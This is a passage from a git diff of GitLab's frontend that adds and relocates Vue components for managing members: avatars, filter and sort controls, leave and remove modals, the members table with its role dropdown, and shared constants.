+import { AVATAR_SIZE } from '../../constants';
+
+export default {
+ name: 'GroupAvatar',
+ avatarSize: AVATAR_SIZE,
+ components: { GlAvatarLink, GlAvatarLabeled },
+ props: {
+ member: {
+ type: Object,
+ required: true,
+ },
+ },
+ computed: {
+ group() {
+ return this.member.sharedWithGroup;
+ },
+ },
+};
+</script>
+
+<template>
+ <gl-avatar-link :href="group.webUrl">
+ <gl-avatar-labeled
+ :label="group.fullName"
+ :src="group.avatarUrl"
+ :alt="group.fullName"
+ :size="$options.avatarSize"
+ :entity-name="group.name"
+ :entity-id="group.id"
+ />
+ </gl-avatar-link>
+</template>
diff --git a/app/assets/javascripts/members/components/avatars/invite_avatar.vue b/app/assets/javascripts/members/components/avatars/invite_avatar.vue
new file mode 100644
index 00000000000..08e702007bb
--- /dev/null
+++ b/app/assets/javascripts/members/components/avatars/invite_avatar.vue
@@ -0,0 +1,32 @@
+<script>
+import { GlAvatarLabeled } from '@gitlab/ui';
+import { AVATAR_SIZE } from '../../constants';
+
+export default {
+ name: 'InviteAvatar',
+ avatarSize: AVATAR_SIZE,
+ components: { GlAvatarLabeled },
+ props: {
+ member: {
+ type: Object,
+ required: true,
+ },
+ },
+ computed: {
+ invite() {
+ return this.member.invite;
+ },
+ },
+};
+</script>
+
+<template>
+ <gl-avatar-labeled
+ :label="invite.email"
+ :src="invite.avatarUrl"
+ :alt="invite.email"
+ :size="$options.avatarSize"
+ :entity-name="invite.email"
+ :entity-id="member.id"
+ />
+</template>
diff --git a/app/assets/javascripts/members/components/avatars/user_avatar.vue b/app/assets/javascripts/members/components/avatars/user_avatar.vue
new file mode 100644
index 00000000000..fe45ca769af
--- /dev/null
+++ b/app/assets/javascripts/members/components/avatars/user_avatar.vue
@@ -0,0 +1,91 @@
+<script>
+import {
+ GlAvatarLink,
+ GlAvatarLabeled,
+ GlBadge,
+ GlSafeHtmlDirective as SafeHtml,
+} from '@gitlab/ui';
+import { generateBadges } from 'ee_else_ce/members/utils';
+import { __ } from '~/locale';
+import { AVATAR_SIZE } from '../../constants';
+import { glEmojiTag } from '~/emoji';
+
+export default {
+ name: 'UserAvatar',
+ avatarSize: AVATAR_SIZE,
+ orphanedUserLabel: __('Orphaned member'),
+ safeHtmlConfig: { ADD_TAGS: ['gl-emoji'] },
+ components: {
+ GlAvatarLink,
+ GlAvatarLabeled,
+ GlBadge,
+ },
+ directives: {
+ SafeHtml,
+ },
+ props: {
+ member: {
+ type: Object,
+ required: true,
+ },
+ isCurrentUser: {
+ type: Boolean,
+ required: true,
+ },
+ },
+ computed: {
+ user() {
+ return this.member.user;
+ },
+ badges() {
+ return generateBadges(this.member, this.isCurrentUser).filter(badge => badge.show);
+ },
+ statusEmoji() {
+ return this.user?.status?.emoji;
+ },
+ },
+ methods: {
+ glEmojiTag,
+ },
+};
+</script>
+
+<template>
+ <gl-avatar-link
+ v-if="user"
+ class="js-user-link"
+ :href="user.webUrl"
+ :data-user-id="user.id"
+ :data-username="user.username"
+ >
+ <gl-avatar-labeled
+ :label="user.name"
+ :sub-label="`@${user.username}`"
+ :src="user.avatarUrl"
+ :alt="user.name"
+ :size="$options.avatarSize"
+ :entity-name="user.name"
+ :entity-id="user.id"
+ >
+ <template #meta>
+ <div v-if="statusEmoji" class="gl-p-1">
+ <span v-safe-html:[$options.safeHtmlConfig]="glEmojiTag(statusEmoji)"></span>
+ </div>
+ <div v-for="badge in badges" :key="badge.text" class="gl-p-1">
+ <gl-badge size="sm" :variant="badge.variant">
+ {{ badge.text }}
+ </gl-badge>
+ </div>
+ </template>
+ </gl-avatar-labeled>
+ </gl-avatar-link>
+
+ <gl-avatar-labeled
+ v-else
+ :label="$options.orphanedUserLabel"
+ :alt="$options.orphanedUserLabel"
+ :size="$options.avatarSize"
+ :entity-name="$options.orphanedUserLabel"
+ :entity-id="member.id"
+ />
+</template>
diff --git a/app/assets/javascripts/members/components/filter_sort/filter_sort_container.vue b/app/assets/javascripts/members/components/filter_sort/filter_sort_container.vue
new file mode 100644
index 00000000000..f869ecd392f
--- /dev/null
+++ b/app/assets/javascripts/members/components/filter_sort/filter_sort_container.vue
@@ -0,0 +1,26 @@
+<script>
+import { mapState } from 'vuex';
+import MembersFilteredSearchBar from './members_filtered_search_bar.vue';
+import SortDropdown from './sort_dropdown.vue';
+
+export default {
+ name: 'FilterSortContainer',
+ components: { MembersFilteredSearchBar, SortDropdown },
+ computed: {
+ ...mapState(['filteredSearchBar', 'tableSortableFields']),
+ showContainer() {
+ return this.filteredSearchBar.show || this.showSortDropdown;
+ },
+ showSortDropdown() {
+ return this.tableSortableFields.length;
+ },
+ },
+};
+</script>
+
+<template>
+ <div v-if="showContainer" class="gl-bg-gray-10 gl-p-3 gl-display-md-flex">
+ <members-filtered-search-bar v-if="filteredSearchBar.show" class="gl-p-3 gl-flex-grow-1" />
+ <sort-dropdown v-if="showSortDropdown" class="gl-p-3 gl-flex-shrink-0" />
+ </div>
+</template>
diff --git a/app/assets/javascripts/members/components/filter_sort/members_filtered_search_bar.vue b/app/assets/javascripts/members/components/filter_sort/members_filtered_search_bar.vue
new file mode 100644
index 00000000000..c1df0b94234
--- /dev/null
+++ b/app/assets/javascripts/members/components/filter_sort/members_filtered_search_bar.vue
@@ -0,0 +1,132 @@
+<script>
+import { mapState } from 'vuex';
+import { GlFilteredSearchToken } from '@gitlab/ui';
+import { setUrlParams, queryToObject } from '~/lib/utils/url_utility';
+import { getParameterByName } from '~/lib/utils/common_utils';
+import { s__ } from '~/locale';
+import FilteredSearchBar from '~/vue_shared/components/filtered_search_bar/filtered_search_bar_root.vue';
+import { SEARCH_TOKEN_TYPE, SORT_PARAM } from '~/members/constants';
+
+export default {
+ name: 'MembersFilteredSearchBar',
+ components: { FilteredSearchBar },
+ availableTokens: [
+ {
+ type: 'two_factor',
+ icon: 'lock',
+ title: s__('Members|2FA'),
+ token: GlFilteredSearchToken,
+ unique: true,
+ operators: [{ value: '=', description: 'is' }],
+ options: [
+ { value: 'enabled', title: s__('Members|Enabled') },
+ { value: 'disabled', title: s__('Members|Disabled') },
+ ],
+ requiredPermissions: 'canManageMembers',
+ },
+ {
+ type: 'with_inherited_permissions',
+ icon: 'group',
+ title: s__('Members|Membership'),
+ token: GlFilteredSearchToken,
+ unique: true,
+ operators: [{ value: '=', description: 'is' }],
+ options: [
+ { value: 'exclude', title: s__('Members|Direct') },
+ { value: 'only', title: s__('Members|Inherited') },
+ ],
+ },
+ ],
+ data() {
+ return {
+ initialFilterValue: [],
+ };
+ },
+ computed: {
+ ...mapState(['sourceId', 'filteredSearchBar', 'canManageMembers']),
+ tokens() {
+ return this.$options.availableTokens.filter(token => {
+ if (
+ Object.prototype.hasOwnProperty.call(token, 'requiredPermissions') &&
+ !this[token.requiredPermissions]
+ ) {
+ return false;
+ }
+
+ return this.filteredSearchBar.tokens?.includes(token.type);
+ });
+ },
+ },
+ created() {
+ const query = queryToObject(window.location.search);
+
+ const tokens = this.tokens
+ .filter(token => query[token.type])
+ .map(token => ({
+ type: token.type,
+ value: {
+ data: query[token.type],
+ operator: '=',
+ },
+ }));
+
+ if (query[this.filteredSearchBar.searchParam]) {
+ tokens.push({
+ type: SEARCH_TOKEN_TYPE,
+ value: {
+ data: query[this.filteredSearchBar.searchParam],
+ },
+ });
+ }
+
+ this.initialFilterValue = tokens;
+ },
+ methods: {
+ handleFilter(tokens) {
+ const params = tokens.reduce((accumulator, token) => {
+ const { type, value } = token;
+
+ if (!type || !value) {
+ return accumulator;
+ }
+
+ if (type === SEARCH_TOKEN_TYPE) {
+ if (value.data !== '') {
+ return {
+ ...accumulator,
+ [this.filteredSearchBar.searchParam]: value.data,
+ };
+ }
+ } else {
+ return {
+ ...accumulator,
+ [type]: value.data,
+ };
+ }
+
+ return accumulator;
+ }, {});
+
+ const sortParam = getParameterByName(SORT_PARAM);
+
+ window.location.href = setUrlParams(
+ { ...params, ...(sortParam && { sort: sortParam }) },
+ window.location.href,
+ true,
+ );
+ },
+ },
+};
+</script>
+
+<template>
+ <filtered-search-bar
+ :namespace="sourceId.toString()"
+ :tokens="tokens"
+ :recent-searches-storage-key="filteredSearchBar.recentSearchesStorageKey"
+ :search-input-placeholder="filteredSearchBar.placeholder"
+ :initial-filter-value="initialFilterValue"
+ data-testid="members-filtered-search-bar"
+ @onFilter="handleFilter"
+ />
+</template>
diff --git a/app/assets/javascripts/members/components/filter_sort/sort_dropdown.vue b/app/assets/javascripts/members/components/filter_sort/sort_dropdown.vue
new file mode 100644
index 00000000000..de7fbc4241c
--- /dev/null
+++ b/app/assets/javascripts/members/components/filter_sort/sort_dropdown.vue
@@ -0,0 +1,77 @@
+<script>
+import { mapState } from 'vuex';
+import { GlSorting, GlSortingItem } from '@gitlab/ui';
+import { visitUrl } from '~/lib/utils/url_utility';
+import { parseSortParam, buildSortHref } from '~/members/utils';
+import { FIELDS } from '~/members/constants';
+
+export default {
+ name: 'SortDropdown',
+ components: { GlSorting, GlSortingItem },
+ computed: {
+ ...mapState(['tableSortableFields', 'filteredSearchBar']),
+ sort() {
+ return parseSortParam(this.tableSortableFields);
+ },
+ activeOption() {
+ return FIELDS.find(field => field.key === this.sort.sortByKey);
+ },
+ activeOptionLabel() {
+ return this.activeOption?.label;
+ },
+ isAscending() {
+ return !this.sort.sortDesc;
+ },
+ filteredOptions() {
+ return FIELDS.filter(field => this.tableSortableFields.includes(field.key) && field.sort).map(
+ field => ({
+ key: field.key,
+ label: field.label,
+ href: buildSortHref({
+ sortBy: field.key,
+ sortDesc: false,
+ filteredSearchBarTokens: this.filteredSearchBar.tokens,
+ filteredSearchBarSearchParam: this.filteredSearchBar.searchParam,
+ }),
+ }),
+ );
+ },
+ },
+ methods: {
+ isActive(key) {
+ return this.activeOption.key === key;
+ },
+ handleSortDirectionChange() {
+ visitUrl(
+ buildSortHref({
+ sortBy: this.activeOption.key,
+ sortDesc: !this.sort.sortDesc,
+ filteredSearchBarTokens: this.filteredSearchBar.tokens,
+ filteredSearchBarSearchParam: this.filteredSearchBar.searchParam,
+ }),
+ );
+ },
+ },
+};
+</script>
+
+<template>
+ <gl-sorting
+ class="gl-display-flex"
+ dropdown-class="gl-w-full"
+ data-testid="members-sort-dropdown"
+ :text="activeOptionLabel"
+ :is-ascending="isAscending"
+ :sort-direction-tool-tip="__('Sort direction')"
+ @sortDirectionChange="handleSortDirectionChange"
+ >
+ <gl-sorting-item
+ v-for="option in filteredOptions"
+ :key="option.key"
+ :href="option.href"
+ :active="isActive(option.key)"
+ >
+ {{ option.label }}
+ </gl-sorting-item>
+ </gl-sorting>
+</template>
diff --git a/app/assets/javascripts/members/components/modals/leave_modal.vue b/app/assets/javascripts/members/components/modals/leave_modal.vue
new file mode 100644
index 00000000000..57a5da774e3
--- /dev/null
+++ b/app/assets/javascripts/members/components/modals/leave_modal.vue
@@ -0,0 +1,70 @@
+<script>
+import { mapState } from 'vuex';
+import { GlModal, GlForm, GlSprintf, GlTooltipDirective } from '@gitlab/ui';
+import csrf from '~/lib/utils/csrf';
+import { __, s__, sprintf } from '~/locale';
+import { LEAVE_MODAL_ID } from '../../constants';
+
+export default {
+ name: 'LeaveModal',
+ actionCancel: {
+ text: __('Cancel'),
+ },
+ actionPrimary: {
+ text: __('Leave'),
+ attributes: {
+ variant: 'danger',
+ },
+ },
+ csrf,
+ modalId: LEAVE_MODAL_ID,
+ modalContent: s__('Members|Are you sure you want to leave "%{source}"?'),
+ components: { GlModal, GlForm, GlSprintf },
+ directives: {
+ GlTooltip: GlTooltipDirective,
+ },
+ props: {
+ member: {
+ type: Object,
+ required: true,
+ },
+ },
+ computed: {
+ ...mapState(['memberPath']),
+ leavePath() {
+ return this.memberPath.replace(/:id$/, 'leave');
+ },
+ modalTitle() {
+ return sprintf(s__('Members|Leave "%{source}"'), { source: this.member.source.name });
+ },
+ },
+ methods: {
+ handlePrimary() {
+ this.$refs.form.$el.submit();
+ },
+ },
+};
+</script>
+
+<template>
+ <gl-modal
+ v-bind="$attrs"
+ :modal-id="$options.modalId"
+ :title="modalTitle"
+ :action-primary="$options.actionPrimary"
+ :action-cancel="$options.actionCancel"
+ size="sm"
+ @primary="handlePrimary"
+ >
+ <gl-form ref="form" :action="leavePath" method="post">
+ <p>
+ <gl-sprintf :message="$options.modalContent">
+ <template #source>{{ member.source.name }}</template>
+ </gl-sprintf>
+ </p>
+
+ <input type="hidden" name="_method" value="delete" />
+ <input :value="$options.csrf.token" type="hidden" name="authenticity_token" />
+ </gl-form>
+ </gl-modal>
+</template>
diff --git a/app/assets/javascripts/members/components/modals/remove_group_link_modal.vue b/app/assets/javascripts/members/components/modals/remove_group_link_modal.vue
new file mode 100644
index 00000000000..231d014a4ec
--- /dev/null
+++ b/app/assets/javascripts/members/components/modals/remove_group_link_modal.vue
@@ -0,0 +1,69 @@
+<script>
+import { mapState, mapActions } from 'vuex';
+import { GlModal, GlSprintf, GlForm } from '@gitlab/ui';
+import csrf from '~/lib/utils/csrf';
+import { __, s__, sprintf } from '~/locale';
+import { REMOVE_GROUP_LINK_MODAL_ID } from '../../constants';
+
+export default {
+ name: 'RemoveGroupLinkModal',
+ actionCancel: {
+ text: __('Cancel'),
+ },
+ actionPrimary: {
+ text: s__('Members|Remove group'),
+ attributes: {
+ variant: 'danger',
+ },
+ },
+ csrf,
+ i18n: {
+ modalBody: s__('Members|Are you sure you want to remove "%{groupName}"?'),
+ },
+ modalId: REMOVE_GROUP_LINK_MODAL_ID,
+ components: { GlModal, GlSprintf, GlForm },
+ computed: {
+ ...mapState(['memberPath', 'groupLinkToRemove', 'removeGroupLinkModalVisible']),
+ groupLinkPath() {
+ return this.memberPath.replace(/:id$/, this.groupLinkToRemove?.id);
+ },
+ groupName() {
+ return this.groupLinkToRemove?.sharedWithGroup.fullName;
+ },
+ modalTitle() {
+ return sprintf(s__('Members|Remove "%{groupName}"'), { groupName: this.groupName });
+ },
+ },
+ methods: {
+ ...mapActions(['hideRemoveGroupLinkModal']),
+ handlePrimary() {
+ this.$refs.form.$el.submit();
+ },
+ },
+};
+</script>
+
+<template>
+ <gl-modal
+ v-bind="$attrs"
+ :modal-id="$options.modalId"
+ :visible="removeGroupLinkModalVisible"
+ :title="modalTitle"
+ :action-primary="$options.actionPrimary"
+ :action-cancel="$options.actionCancel"
+ size="sm"
+ @primary="handlePrimary"
+ @hide="hideRemoveGroupLinkModal"
+ >
+ <gl-form ref="form" :action="groupLinkPath" method="post">
+ <p>
+ <gl-sprintf :message="$options.i18n.modalBody">
+ <template #groupName>{{ groupName }}</template>
+ </gl-sprintf>
+ </p>
+
+ <input type="hidden" name="_method" value="delete" />
+ <input :value="$options.csrf.token" type="hidden" name="authenticity_token" />
+ </gl-form>
+ </gl-modal>
+</template>
diff --git a/app/assets/javascripts/vue_shared/components/members/table/created_at.vue b/app/assets/javascripts/members/components/table/created_at.vue
index 0bad70894f9..0bad70894f9 100644
--- a/app/assets/javascripts/vue_shared/components/members/table/created_at.vue
+++ b/app/assets/javascripts/members/components/table/created_at.vue
diff --git a/app/assets/javascripts/vue_shared/components/members/table/expiration_datepicker.vue b/app/assets/javascripts/members/components/table/expiration_datepicker.vue
index 0a8af81c1d1..0a8af81c1d1 100644
--- a/app/assets/javascripts/vue_shared/components/members/table/expiration_datepicker.vue
+++ b/app/assets/javascripts/members/components/table/expiration_datepicker.vue
diff --git a/app/assets/javascripts/members/components/table/expires_at.vue b/app/assets/javascripts/members/components/table/expires_at.vue
new file mode 100644
index 00000000000..c91de061b50
--- /dev/null
+++ b/app/assets/javascripts/members/components/table/expires_at.vue
@@ -0,0 +1,66 @@
+<script>
+import { GlSprintf, GlTooltipDirective } from '@gitlab/ui';
+import {
+ approximateDuration,
+ differenceInSeconds,
+ formatDate,
+ getDayDifference,
+} from '~/lib/utils/datetime_utility';
+import { DAYS_TO_EXPIRE_SOON } from '../../constants';
+
+export default {
+ name: 'ExpiresAt',
+ components: { GlSprintf },
+ directives: {
+ GlTooltip: GlTooltipDirective,
+ },
+ props: {
+ date: {
+ type: String,
+ required: false,
+ default: null,
+ },
+ },
+ computed: {
+ noExpirationSet() {
+ return this.date === null;
+ },
+ parsed() {
+ return new Date(this.date);
+ },
+ differenceInSeconds() {
+ return differenceInSeconds(new Date(), this.parsed);
+ },
+ isExpired() {
+ return this.differenceInSeconds <= 0;
+ },
+ inWords() {
+ return approximateDuration(this.differenceInSeconds);
+ },
+ formatted() {
+ return formatDate(this.parsed);
+ },
+ expiresSoon() {
+ return getDayDifference(new Date(), this.parsed) < DAYS_TO_EXPIRE_SOON;
+ },
+ cssClass() {
+ return {
+ 'gl-text-red-500': this.isExpired,
+ 'gl-text-orange-500': this.expiresSoon,
+ };
+ },
+ },
+};
+</script>
+
+<template>
+ <span v-if="noExpirationSet">{{ s__('Members|No expiration set') }}</span>
+ <span v-else v-gl-tooltip.hover :title="formatted" :class="cssClass">
+ <template v-if="isExpired">{{ s__('Members|Expired') }}</template>
+ <gl-sprintf v-else :message="s__('Members|in %{time}')">
+ <template #time>
+ {{ inWords }}
+ </template>
+ </gl-sprintf>
+ </span>
+</template>
diff --git a/app/assets/javascripts/members/components/table/member_action_buttons.vue b/app/assets/javascripts/members/components/table/member_action_buttons.vue
new file mode 100644
index 00000000000..c61ebec33bd
--- /dev/null
+++ b/app/assets/javascripts/members/components/table/member_action_buttons.vue
@@ -0,0 +1,57 @@
+<script>
+import UserActionButtons from '../action_buttons/user_action_buttons.vue';
+import GroupActionButtons from '../action_buttons/group_action_buttons.vue';
+import InviteActionButtons from '../action_buttons/invite_action_buttons.vue';
+import AccessRequestActionButtons from '../action_buttons/access_request_action_buttons.vue';
+import { MEMBER_TYPES } from '../../constants';
+
+export default {
+ name: 'MemberActionButtons',
+ components: {
+ UserActionButtons,
+ GroupActionButtons,
+ InviteActionButtons,
+ AccessRequestActionButtons,
+ },
+ props: {
+ member: {
+ type: Object,
+ required: true,
+ },
+ memberType: {
+ type: String,
+ required: true,
+ },
+ permissions: {
+ type: Object,
+ required: true,
+ },
+ isCurrentUser: {
+ type: Boolean,
+ required: true,
+ },
+ },
+ computed: {
+ actionButtonComponent() {
+ const dictionary = {
+ [MEMBER_TYPES.user]: 'user-action-buttons',
+ [MEMBER_TYPES.group]: 'group-action-buttons',
+ [MEMBER_TYPES.invite]: 'invite-action-buttons',
+ [MEMBER_TYPES.accessRequest]: 'access-request-action-buttons',
+ };
+
+ return dictionary[this.memberType];
+ },
+ },
+};
+</script>
+
+<template>
+ <component
+ :is="actionButtonComponent"
+ v-if="actionButtonComponent"
+ :member="member"
+ :permissions="permissions"
+ :is-current-user="isCurrentUser"
+ />
+</template>
diff --git a/app/assets/javascripts/vue_shared/components/members/table/member_avatar.vue b/app/assets/javascripts/members/components/table/member_avatar.vue
index a1f98d4008a..a1f98d4008a 100644
--- a/app/assets/javascripts/vue_shared/components/members/table/member_avatar.vue
+++ b/app/assets/javascripts/members/components/table/member_avatar.vue
diff --git a/app/assets/javascripts/vue_shared/components/members/table/member_source.vue b/app/assets/javascripts/members/components/table/member_source.vue
index 030d72c3420..030d72c3420 100644
--- a/app/assets/javascripts/vue_shared/components/members/table/member_source.vue
+++ b/app/assets/javascripts/members/components/table/member_source.vue
diff --git a/app/assets/javascripts/members/components/table/members_table.vue b/app/assets/javascripts/members/components/table/members_table.vue
new file mode 100644
index 00000000000..da77e5caad2
--- /dev/null
+++ b/app/assets/javascripts/members/components/table/members_table.vue
@@ -0,0 +1,151 @@
+<script>
+import { mapState } from 'vuex';
+import { GlTable, GlBadge } from '@gitlab/ui';
+import MembersTableCell from 'ee_else_ce/members/components/table/members_table_cell.vue';
+import { canOverride, canRemove, canResend, canUpdate } from 'ee_else_ce/members/utils';
+import { FIELDS } from '../../constants';
+import initUserPopovers from '~/user_popovers';
+import MemberAvatar from './member_avatar.vue';
+import MemberSource from './member_source.vue';
+import CreatedAt from './created_at.vue';
+import ExpiresAt from './expires_at.vue';
+import MemberActionButtons from './member_action_buttons.vue';
+import RoleDropdown from './role_dropdown.vue';
+import RemoveGroupLinkModal from '../modals/remove_group_link_modal.vue';
+import ExpirationDatepicker from './expiration_datepicker.vue';
+
+export default {
+ name: 'MembersTable',
+ components: {
+ GlTable,
+ GlBadge,
+ MemberAvatar,
+ CreatedAt,
+ ExpiresAt,
+ MembersTableCell,
+ MemberSource,
+ MemberActionButtons,
+ RoleDropdown,
+ RemoveGroupLinkModal,
+ ExpirationDatepicker,
+ LdapOverrideConfirmationModal: () =>
+ import('ee_component/members/components/ldap/ldap_override_confirmation_modal.vue'),
+ },
+ computed: {
+ ...mapState(['members', 'tableFields', 'tableAttrs', 'currentUserId', 'sourceId']),
+ filteredFields() {
+ return FIELDS.filter(field => this.tableFields.includes(field.key) && this.showField(field));
+ },
+ userIsLoggedIn() {
+ return this.currentUserId !== null;
+ },
+ },
+ mounted() {
+ initUserPopovers(this.$el.querySelectorAll('.js-user-link'));
+ },
+ methods: {
+ showField(field) {
+ if (!Object.prototype.hasOwnProperty.call(field, 'showFunction')) {
+ return true;
+ }
+
+ return this[field.showFunction]();
+ },
+ showActionsField() {
+ if (!this.userIsLoggedIn) {
+ return false;
+ }
+
+ return this.members.some(member => {
+ return (
+ canRemove(member, this.sourceId) ||
+ canResend(member) ||
+ canUpdate(member, this.currentUserId, this.sourceId) ||
+ canOverride(member)
+ );
+ });
+ },
+ },
+};
+</script>
+
+<template>
+ <div>
+ <gl-table
+ v-bind="tableAttrs.table"
+ class="members-table"
+ data-testid="members-table"
+ head-variant="white"
+ stacked="lg"
+ :fields="filteredFields"
+ :items="members"
+ primary-key="id"
+ thead-class="border-bottom"
+ :empty-text="__('No members found')"
+ show-empty
+ :tbody-tr-attr="tableAttrs.tr"
+ >
+ <template #cell(account)="{ item: member }">
+ <members-table-cell #default="{ memberType, isCurrentUser }" :member="member">
+ <member-avatar
+ :member-type="memberType"
+ :is-current-user="isCurrentUser"
+ :member="member"
+ />
+ </members-table-cell>
+ </template>
+
+ <template #cell(source)="{ item: member }">
+ <members-table-cell #default="{ isDirectMember }" :member="member">
+ <member-source :is-direct-member="isDirectMember" :member-source="member.source" />
+ </members-table-cell>
+ </template>
+
+ <template #cell(granted)="{ item: { createdAt, createdBy } }">
+ <created-at :date="createdAt" :created-by="createdBy" />
+ </template>
+
+ <template #cell(invited)="{ item: { createdAt, createdBy } }">
+ <created-at :date="createdAt" :created-by="createdBy" />
+ </template>
+
+ <template #cell(requested)="{ item: { createdAt } }">
+ <created-at :date="createdAt" />
+ </template>
+
+ <template #cell(expires)="{ item: { expiresAt } }">
+ <expires-at :date="expiresAt" />
+ </template>
+
+ <template #cell(maxRole)="{ item: member }">
+ <members-table-cell #default="{ permissions }" :member="member">
+ <role-dropdown v-if="permissions.canUpdate" :permissions="permissions" :member="member" />
+ <gl-badge v-else>{{ member.accessLevel.stringValue }}</gl-badge>
+ </members-table-cell>
+ </template>
+
+ <template #cell(expiration)="{ item: member }">
+ <members-table-cell #default="{ permissions }" :member="member">
+ <expiration-datepicker :permissions="permissions" :member="member" />
+ </members-table-cell>
+ </template>
+
+ <template #cell(actions)="{ item: member }">
+ <members-table-cell #default="{ memberType, isCurrentUser, permissions }" :member="member">
+ <member-action-buttons
+ :member-type="memberType"
+ :is-current-user="isCurrentUser"
+ :permissions="permissions"
+ :member="member"
+ />
+ </members-table-cell>
+ </template>
+
+ <template #head(actions)="{ label }">
+ <span data-testid="col-actions" class="gl-sr-only">{{ label }}</span>
+ </template>
+ </gl-table>
+ <remove-group-link-modal />
+ <ldap-override-confirmation-modal />
+ </div>
+</template>
diff --git a/app/assets/javascripts/members/components/table/members_table_cell.vue b/app/assets/javascripts/members/components/table/members_table_cell.vue
new file mode 100644
index 00000000000..20aa01b96bc
--- /dev/null
+++ b/app/assets/javascripts/members/components/table/members_table_cell.vue
@@ -0,0 +1,72 @@
+<script>
+import { mapState } from 'vuex';
+import { MEMBER_TYPES } from '../../constants';
+import {
+ isGroup,
+ isDirectMember,
+ isCurrentUser,
+ canRemove,
+ canResend,
+ canUpdate,
+} from '../../utils';
+
+export default {
+ name: 'MembersTableCell',
+ props: {
+ member: {
+ type: Object,
+ required: true,
+ },
+ },
+ computed: {
+ ...mapState(['sourceId', 'currentUserId']),
+ isGroup() {
+ return isGroup(this.member);
+ },
+ isInvite() {
+ return Boolean(this.member.invite);
+ },
+ isAccessRequest() {
+ return Boolean(this.member.requestedAt);
+ },
+ memberType() {
+ if (this.isGroup) {
+ return MEMBER_TYPES.group;
+ } else if (this.isInvite) {
+ return MEMBER_TYPES.invite;
+ } else if (this.isAccessRequest) {
+ return MEMBER_TYPES.accessRequest;
+ }
+
+ return MEMBER_TYPES.user;
+ },
+ isDirectMember() {
+ return isDirectMember(this.member, this.sourceId);
+ },
+ isCurrentUser() {
+ return isCurrentUser(this.member, this.currentUserId);
+ },
+ canRemove() {
+ return canRemove(this.member, this.sourceId);
+ },
+ canResend() {
+ return canResend(this.member);
+ },
+ canUpdate() {
+ return canUpdate(this.member, this.currentUserId, this.sourceId);
+ },
+ },
+ render() {
+ return this.$scopedSlots.default({
+ memberType: this.memberType,
+ isDirectMember: this.isDirectMember,
+ isCurrentUser: this.isCurrentUser,
+ permissions: {
+ canRemove: this.canRemove,
+ canResend: this.canResend,
+ canUpdate: this.canUpdate,
+ },
+ });
+ },
+};
+</script>
diff --git a/app/assets/javascripts/members/components/table/role_dropdown.vue b/app/assets/javascripts/members/components/table/role_dropdown.vue
new file mode 100644
index 00000000000..8ad45ab6920
--- /dev/null
+++ b/app/assets/javascripts/members/components/table/role_dropdown.vue
@@ -0,0 +1,94 @@
+<script>
+import { GlDropdown, GlDropdownItem } from '@gitlab/ui';
+import { GlBreakpointInstance as bp } from '@gitlab/ui/dist/utils';
+import { mapActions } from 'vuex';
+import { s__ } from '~/locale';
+
+export default {
+ name: 'RoleDropdown',
+ components: {
+ GlDropdown,
+ GlDropdownItem,
+ LdapDropdownItem: () => import('ee_component/members/components/ldap/ldap_dropdown_item.vue'),
+ },
+ props: {
+ member: {
+ type: Object,
+ required: true,
+ },
+ permissions: {
+ type: Object,
+ required: true,
+ },
+ },
+ data() {
+ return {
+ isDesktop: false,
+ busy: false,
+ };
+ },
+ computed: {
+ disabled() {
+ return this.busy || (this.permissions.canOverride && !this.member.isOverridden);
+ },
+ },
+ mounted() {
+ this.isDesktop = bp.isDesktop();
+
+ // Bootstrap Vue and GlDropdown to not support adding attributes to the dropdown toggle
+ // This can be changed once https://gitlab.com/gitlab-org/gitlab-ui/-/issues/1060 is implemented
+ const dropdownToggle = this.$refs.glDropdown.$el.querySelector('.dropdown-toggle');
+
+ if (dropdownToggle) {
+ dropdownToggle.setAttribute('data-qa-selector', 'access_level_dropdown');
+ }
+ },
+ methods: {
+ ...mapActions(['updateMemberRole']),
+ handleSelect(value, name) {
+ if (value === this.member.accessLevel.integerValue) {
+ return;
+ }
+
+ this.busy = true;
+
+ this.updateMemberRole({
+ memberId: this.member.id,
+ accessLevel: { integerValue: value, stringValue: name },
+ })
+ .then(() => {
+ this.$toast.show(s__('Members|Role updated successfully.'));
+ this.busy = false;
+ })
+ .catch(() => {
+ this.busy = false;
+ });
+ },
+ },
+};
+</script>
+
+<template>
+ <gl-dropdown
+ ref="glDropdown"
+ :right="!isDesktop"
+ :text="member.accessLevel.stringValue"
+ :header-text="__('Change permissions')"
+ :disabled="disabled"
+ >
+ <gl-dropdown-item
+ v-for="(value, name) in member.validRoles"
+ :key="value"
+ is-check-item
+ :is-checked="value === member.accessLevel.integerValue"
+ data-qa-selector="access_level_link"
+ @click="handleSelect(value, name)"
+ >
+ {{ name }}
+ </gl-dropdown-item>
+ <ldap-dropdown-item
+ v-if="permissions.canOverride && member.isOverridden"
+ :member-id="member.id"
+ />
+ </gl-dropdown>
+</template>
diff --git a/app/assets/javascripts/members/constants.js b/app/assets/javascripts/members/constants.js
new file mode 100644
index 00000000000..21af825f795
--- /dev/null
+++ b/app/assets/javascripts/members/constants.js
@@ -0,0 +1,100 @@
+import { __ } from '~/locale';
+
+export const FIELDS = [
+ {
+ key: 'account',
+ label: __('Account'),
+ sort: {
+ asc: 'name_asc',
+ desc: 'name_desc',
+ },
+ },
+ {
+ key: 'source',
+ label: __('Source'),
+ thClass: 'col-meta',
+ tdClass: 'col-meta',
+ },
+ {
+ key: 'granted',
+ label: __('Access granted'),
+ thClass: 'col-meta',
+ tdClass: 'col-meta',
+ sort: {
+ asc: 'last_joined',
+ desc: 'oldest_joined',
+ },
+ },
+ {
+ key: 'invited',
+ label: __('Invited'),
+ thClass: 'col-meta',
+ tdClass: 'col-meta',
+ },
+ {
+ key: 'requested',
+ label: __('Requested'),
+ thClass: 'col-meta',
+ tdClass: 'col-meta',
+ },
+ {
+ key: 'expires',
+ label: __('Access expires'),
+ thClass: 'col-meta',
+ tdClass: 'col-meta',
+ },
+ {
+ key: 'maxRole',
+ label: __('Max role'),
+ thClass: 'col-max-role',
+ tdClass: 'col-max-role',
+ sort: {
+ asc: 'access_level_asc',
+ desc: 'access_level_desc',
+ },
+ },
+ {
+ key: 'expiration',
+ label: __('Expiration'),
+ thClass: 'col-expiration',
+ tdClass: 'col-expiration',
+ },
+ {
+ key: 'lastSignIn',
+ label: __('Last sign-in'),
+ sort: {
+ asc: 'recent_sign_in',
+ desc: 'oldest_sign_in',
+ },
+ },
+ {
+ key: 'actions',
+ thClass: 'col-actions',
+ tdClass: 'col-actions',
+ showFunction: 'showActionsField',
+ },
+];
+
+export const DEFAULT_SORT = {
+ sortByKey: 'account',
+ sortDesc: false,
+};
+
+export const AVATAR_SIZE = 48;
+
+export const MEMBER_TYPES = {
+ user: 'user',
+ group: 'group',
+ invite: 'invite',
